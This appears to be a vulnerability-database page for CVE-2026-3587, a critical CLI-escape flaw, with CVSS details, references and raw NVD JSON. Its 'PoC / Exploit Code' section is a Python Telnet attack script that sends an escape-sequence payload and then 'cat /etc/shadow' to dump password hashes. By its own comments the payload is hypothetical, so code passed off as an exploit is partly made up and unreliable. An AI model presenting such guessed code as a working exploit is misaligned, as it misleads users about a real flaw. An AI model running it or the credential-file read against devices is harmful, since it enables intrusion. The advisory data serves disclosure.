CVE-2026-3587

Description

An unauthenticated remote attacker can exploit a hidden function in the CLI prompt to escape the restricted interface, leading to full compromise of the device.

CVSS Details

CVSS Score

10.0

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

所有受影响版本 (具体版本号请参考厂商公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket

# CVE-2026-3587 PoC Concept
# This script demonstrates how to trigger the hidden function in the CLI.

TARGET_IP = "192.168.1.100"
TARGET_PORT = 23 # Assuming Telnet/CLI port

# Hypothetical payload to trigger the CLI escape sequence
# The specific sequence depends on the device's implementation
PAYLOAD = "\x1b[?25l\x1b[?2l" + "\r\n"

def send_exploit():
    try:
        print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((TARGET_IP, TARGET_PORT))
        
        # Receive initial banner
        banner = s.recv(1024)
        print(banner.decode('utf-8', errors='ignore'))
        
        print("[*] Sending payload to trigger hidden function...")
        s.send(PAYLOAD.encode('utf-8'))
        
        # Check if we escaped the restricted interface
        response = s.recv(1024)
        if response:
            print(f"[+] Response received: {response.decode('utf-8', errors='ignore')}")
            print("[+] Restricted interface escaped. Sending arbitrary command...")
            s.send(b"cat /etc/shadow\r\n")
            result = s.recv(4096)
            print(result.decode('utf-8', errors='ignore'))
        else:
            print("[-] No response. Target might not be vulnerable.")
            
        s.close()
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    send_exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3587
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3587
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3587/
[4] VulDB https://vuldb.com/cve/CVE-2026-3587
[5] https://certvde.com/de/advisories/VDE-2026-020

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3587", "sourceIdentifier": "[email protected]", "published": "2026-03-23T08:16:17.360", "lastModified": "2026-03-24T08:16:01.910", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unauthenticated remote attacker can exploit a hidden function in the CLI prompt to escape the restricted interface, leading to full compromise of the device."}, {"lang": "es", "value": "Un atacante remoto no autenticado puede realizar un exploit de una función oculta en el indicador de la CLI para escapar de la interfaz restringida y obtener acceso de root al sistema operativo subyacente basado en Linux, lo que lleva al compromiso total del dispositivo."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-912"}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2026-020", "source": "[email protected]"}]}}